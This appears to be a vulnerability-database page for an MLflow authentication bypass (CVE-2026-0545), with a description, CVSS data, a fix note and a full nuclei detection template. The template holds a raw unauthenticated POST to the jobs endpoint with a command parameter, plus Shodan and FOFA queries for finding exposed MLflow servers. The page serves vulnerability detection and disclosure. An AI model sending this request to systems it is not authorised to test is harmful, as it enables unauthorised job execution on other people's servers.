HexBrain

Browse / CVEs / CVE-2026-0545

CVE-2026-0545· mlflow / mlflow· CWE-306

MLflow Job API - Authentication Bypass

criticalseverity
9.1CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.

Impact

Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.

Fix

Update to the latest version with fixed authentication enforcement on job endpoints.

How to confirm it

Send: POST /ajax-api/3.0/jobs/
Positive when: contains_all(body, "\"job_id\":", "\"job_name\":") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-0545 -u <target>

The full check
id: CVE-2026-0545

info:
  name: MLflow Job API - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.
  impact: |
    Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.
  remediation: |
    Update to the latest version with fixed authentication enforcement on job endpoints.
  reference:
    - https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0545
    - https://github.com/mlflow/mlflow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0545
    epss-score: 0.04392
    epss-percentile: 0.91391
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,auth-bypass

http:
  - raw:
      - |
        POST /ajax-api/3.0/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"job_name":"run_task","params":{"command":"id"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"job_id\":", "\"job_name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from